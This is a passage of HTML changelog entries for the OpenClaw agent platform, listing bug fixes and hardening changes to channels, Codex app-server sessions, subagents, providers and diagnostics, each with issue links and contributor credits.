<li>Channels/message tool: resolve configured external channel plugins during in-agent channel selection, so <code>openclaw agent --local</code> message-tool sends no longer report an available channel as unavailable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496213314" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85022" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85022/hovercard" href="https://github.com/openclaw/openclaw/pull/85022">#85022</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>Agents/heartbeat: honor group/channel <code>message_tool</code> visible-reply policy and model-specific Codex runtime config for scheduled heartbeat runs, so failed internal tool output stays private. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4501936678" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85310" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85310/hovercard" href="https://github.com/openclaw/openclaw/issues/85310">#85310</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4502712735" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85357" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85357/hovercard" href="https://github.com/openclaw/openclaw/pull/85357">#85357</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</li>
<li>Gateway/ACP: close child ACP sessions spawned via <code>sessions_spawn</code> when their parent session is reset or deleted, instead of leaving orphaned <code>claude-agent-acp</code> processes that accumulate and exhaust memory. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4290563726" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68916" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68916/hovercard" href="https://github.com/openclaw/openclaw/issues/68916">#68916</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499486658" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85190" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85190/hovercard" href="https://github.com/openclaw/openclaw/pull/85190">#85190</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</li>
<li>Codex app-server: block native execution paths when OpenClaw exec resolves to a node host while preserving the first-party CLI node binding path. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496082157" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85012" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85012/hovercard" href="https://github.com/openclaw/openclaw/issues/85012">#85012</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506017461" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85534" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85534/hovercard" href="https://github.com/openclaw/openclaw/pull/85534">#85534</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Diagnostics: bound cleanup timeout detail logs, emit drop summaries when async diagnostic bursts exceed the queue cap, and surface async queue drops through diagnostic telemetry.</li>
<li>Agents/subagents: surface blocked child-run completions as errors instead of successful subagent finishes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4426401117" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80886" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80886/hovercard" href="https://github.com/openclaw/openclaw/pull/80886">#80886</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>Context engines: fail closed with a descriptive error when the selected agent runtime cannot satisfy declared context-engine host requirements.</li>
<li>Agents/Pi: treat accepted embedded <code>sessions_spawn</code> child-session handoffs as terminal progress so parent turns no longer report false non-deliverable failures. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496893143" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85054" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85054/hovercard" href="https://github.com/openclaw/openclaw/pull/85054">#85054</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>CLI/models: resolve <code>openclaw models set</code> aliases from the runtime config while keeping authored aliases ahead of runtime-only defaults. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464921339" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83262" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83262/hovercard" href="https://github.com/openclaw/openclaw/pull/83262">#83262</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>.</li>
<li>Doctor: show personal Codex CLI asset notices as info instead of warnings. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492410818" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84859" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84859/hovercard" href="https://github.com/openclaw/openclaw/issues/84859">#84859</a>.</li>
<li>WhatsApp: update Baileys to <code>7.0.0-rc13</code> and drop the obsolete logger type patch.</li>
<li>CLI/update: pre-pack GitHub/git package update targets before the staged npm install, restoring <code>openclaw update --tag main</code> for one-off package updates. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4434938350" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81296" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81296/hovercard" href="https://github.com/openclaw/openclaw/pull/81296">#81296</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Gateway: mirror successful same-source message-tool sends into session transcripts so delivered replies stay in later history/context. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492092367" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84837" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84837/hovercard" href="https://github.com/openclaw/openclaw/pull/84837">#84837</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iFiras-Max1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iFiras-Max1">@iFiras-Max1</a>.</li>
<li>Media generation: keep image, music, and video completion delivery from duplicating or losing task ownership when generated media finishes through active session replies. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4474791588" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84006" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84006/hovercard" href="https://github.com/openclaw/openclaw/pull/84006">#84006</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Infra/json: retry transient <code>File changed during read</code> races while loading JSON state so config and state reads recover instead of failing the turn. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4480467537" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84285" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84285/hovercard" href="https://github.com/openclaw/openclaw/pull/84285">#84285</a>)</li>
<li>Plugins/providers: fail closed for workspace provider plugins during setup-mode discovery unless explicitly trusted, preventing untrusted workspace plugin code from running during provider setup. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4430383114" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81069" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81069/hovercard" href="https://github.com/openclaw/openclaw/pull/81069">#81069</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mmaps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mmaps">@mmaps</a>.</li>
<li>Providers/Ollama: resolve configured Ollama Cloud <code>OLLAMA_API_KEY</code> markers to the real discovery key so cloud provider entries keep authenticated model catalog access. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496517336" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85037" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85037/hovercard" href="https://github.com/openclaw/openclaw/pull/85037">#85037</a>)</li>
<li>Discord: keep persistent component registry fallback warnings actionable by forwarding structured error and cause metadata through the runtime logger. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4478478934" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84185" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84185/hovercard" href="https://github.com/openclaw/openclaw/issues/84185">#84185</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4478496859" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84190" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84190/hovercard" href="https://github.com/openclaw/openclaw/pull/84190">#84190</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100menotu001/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100menotu001">@100menotu001</a>.</li>
<li>Gateway/sessions: preserve compatible session auth profile overrides when switching models within the same provider, including provider-auth aliases. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4446719061" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81837" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/81837/hovercard" href="https://github.com/openclaw/openclaw/issues/81837">#81837</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4448375153" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81886" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81886/hovercard" href="https://github.com/openclaw/openclaw/pull/81886">#81886</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>Gateway/status: surface inbound delivery telemetry counters and transport-liveness warnings in <code>openclaw status --all</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4093339126" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49577" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/49577/hovercard" href="https://github.com/openclaw/openclaw/issues/49577">#49577</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4334434847" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72724" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72724/hovercard" href="https://github.com/openclaw/openclaw/pull/72724">#72724</a>)</li>
<li>Docker: prune package-excluded plugin source workspaces and dependency closures so runtime images do not keep packages for plugins that were not opted in.</li>
<li>Providers/Ollama: treat Docker/OrbStack host aliases as local Ollama endpoints so <code>ollama-local</code> marker auth works when OpenClaw runs inside a VM/container and Ollama runs on the host. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492687433" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84875" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84875/hovercard" href="https://github.com/openclaw/openclaw/issues/84875">#84875</a>.</li>
<li>QA-Lab: keep explicitly searchable/deferred OpenClaw dynamic tool rows report-only by default so tool-coverage gates do not treat mock discovery gaps as hard product failures. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416028202" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80319" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80319/hovercard" href="https://github.com/openclaw/openclaw/issues/80319">#80319</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>Agents/config: keep non-Google provider model refs from being rewritten by Google Gemini preview-id normalization. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491152950" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84762" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84762/hovercard" href="https://github.com/openclaw/openclaw/pull/84762">#84762</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</li>
<li>Installer: require a real controlling terminal before launching onboarding so headless <code>curl | bash</code> installs finish cleanly after installing the CLI.</li>
<li>Agents/Codex: promote a completed final assistant response when a prompt timeout races Codex app-server completion instead of returning an empty timeout envelope. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4484831985" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84516" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84516/hovercard" href="https://github.com/openclaw/openclaw/issues/84516">#84516</a>.</li>
<li>Codex app-server: keep interrupted turn statuses from being treated as OpenClaw aborts by themselves, so tool-only turns remain eligible for no-visible-answer recovery. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4484261445" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84492" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84492/hovercard" href="https://github.com/openclaw/openclaw/issues/84492">#84492</a>.</li>
<li>Agents: cap heartbeat model bleed context hints by the stored session window when runtime model metadata is unavailable, so overflow recovery advice does not suggest a larger window than the active session actually has.</li>
<li>Control UI/Web Push: use <code>https://openclaw.ai</code> as the generated default VAPID subject instead of the old localhost mailbox so iOS PWA push setup uses an Apple-acceptable subject when <code>OPENCLAW_VAPID_SUBJECT</code> is unset. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463833833" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83134" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83134/hovercard" href="https://github.com/openclaw/openclaw/issues/83134">#83134</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465313833" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83317" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83317/hovercard" href="https://github.com/openclaw/openclaw/pull/83317">#83317</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>.</li>
<li>Control UI: distinguish inherited thinking-off settings from explicit Off selections so the thinking selector no longer shows two identical Off rows. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499864598" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85223" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85223/hovercard" href="https://github.com/openclaw/openclaw/pull/85223">#85223</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Agents/Pi: keep embedded session transcript writes from tripping false takeover detection after packaged npm onboarding agent turns.</li>
<li>Codex/TUI: surface Codex-native post-turn compaction failures instead of continuing uncompacted, and keep successful native compaction serialized before local idle/next-turn handling. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4480907550" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84305" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84305/hovercard" href="https://github.com/openclaw/openclaw/issues/84305">#84305</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499073217" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85160" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85160/hovercard" href="https://github.com/openclaw/openclaw/pull/85160">#85160</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Memory/search: stop recall tracking from writing dreaming side-effect artifacts when <code>dreaming.enabled=false</code>, while preserving normal search results. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4483132130" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84436" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84436/hovercard" href="https://github.com/openclaw/openclaw/issues/84436">#84436</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4483302640" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84444" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84444/hovercard" href="https://github.com/openclaw/openclaw/pull/84444">#84444</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NianJiuZst/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NianJiuZst">@NianJiuZst</a>.</li>
<li>Diffs: render viewer toolbar icons from a closed icon-name map instead of HTML strings, removing the toolbar icon XSS sink. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4474146520" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83955" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83955/hovercard" href="https://github.com/openclaw/openclaw/pull/83955">#83955</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tanshanshan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tanshanshan">@tanshanshan</a>.</li>
<li>QA: keep <code>pnpm qa:e2e</code> self-check runs inside the private QA runtime envelope even when inherited shell env disables bundled plugins.</li>
<li>fix(config): validate browser sandbox bind sources [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491649611" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84799" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84799/hovercard" href="https://github.com/openclaw/openclaw/pull/84799">#84799</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>doctor: constrain legacy plugin cleanup paths [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491667697" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84801" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84801/hovercard" href="https://github.com/openclaw/openclaw/pull/84801">#84801</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>Update/doctor: prune stale local bundled plugin install records that point at old compiled bundled output so current bundled plugin schemas win after upgrade. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492494073" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84863" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84863/hovercard" href="https://github.com/openclaw/openclaw/pull/84863">#84863</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Providers/Ollama: preserve native Ollama tool-call IDs across assistant replay so Gemini over Ollama Cloud can keep its hidden function-call thought-signature handle.</li>
<li>Discord: keep session recovery and <code>/stop</code> abort ownership on the source dispatch lane while bound ACP turns continue routing to their target session, so stalled pre-run work and late replies are cleared instead of leaking after stop. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4483895207" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84477" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84477/hovercard" href="https://github.com/openclaw/openclaw/issues/84477">#84477</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497982606" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85100" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85100/hovercard" href="https://github.com/openclaw/openclaw/pull/85100">#85100</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Codex app-server: mark missing turn completion after observed execution as replay-unsafe and release the session so follow-up turns can run. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4476289375" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84076" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84076/hovercard" href="https://github.com/openclaw/openclaw/issues/84076">#84076</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498078569" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85107" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85107/hovercard" href="https://github.com/openclaw/openclaw/pull/85107">#85107</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Codex app-server: give visible <code>message</code> dynamic tool sends a longer timeout budget so slow channel delivery can return its own result or error instead of hitting the 30-second Codex wrapper. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499812848" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85216" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85216/hovercard" href="https://github.com/openclaw/openclaw/pull/85216">#85216</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Codex app-server: add a dedicated post-tool raw assistant completion idle timeout config so trusted heavy turns can wait longer after tool handoff without weakening final assistant release.</li>
<li>Matrix: keep explicitly configured two-person rooms on the room route before stale <code>m.direct</code> or strict two-member DM fallback can bypass mention gating. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496136567" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85017" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85017/hovercard" href="https://github.com/openclaw/openclaw/issues/85017">#85017</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498803495" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85137" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85137/hovercard" href="https://github.com/openclaw/openclaw/pull/85137">#85137</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Agents/subagents: require explicit subagent allowlist targets to be configured agents so stale deleted-agent ids are omitted from <code>agents_list</code> and rejected by <code>sessions_spawn</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491844371" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84811" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84811/hovercard" href="https://github.com/openclaw/openclaw/issues/84811">#84811</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499010254" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85154" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85154/hovercard" href="https://github.com/openclaw/openclaw/pull/85154">#85154</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>PDF tool: time out idle remote PDF body reads after 120 seconds so stalled remote documents return an error instead of wedging the session. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4288676163" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68649" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68649/hovercard" href="https://github.com/openclaw/openclaw/issues/68649">#68649</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491207985" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84768" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84768/hovercard" href="https://github.com/openclaw/openclaw/pull/84768">#84768</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>.</li>
<li>Diagnostics/OpenTelemetry plugin: suppress handled OTLP exporter promise rejections so collector shutdowns no longer crash the Gateway. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4430729094" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81085" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81085/hovercard" href="https://github.com/openclaw/openclaw/pull/81085">#81085</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>.</li>
<li>Agents/exec: omit raw command text and env values from denied exec failure logs while keeping safe correlation metadata. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496830927" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85049" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85049/hovercard" href="https://github.com/openclaw/openclaw/issues/85049">#85049</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498838754" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85140" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85140/hovercard" href="https://github.com/openclaw/openclaw/pull/85140">#85140</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Media/audio: skip empty structured sherpa-onnx transcripts instead of treating the raw JSON payload as spoken text. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4488983460" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84667" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84667/hovercard" href="https://github.com/openclaw/openclaw/pull/84667">#84667</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
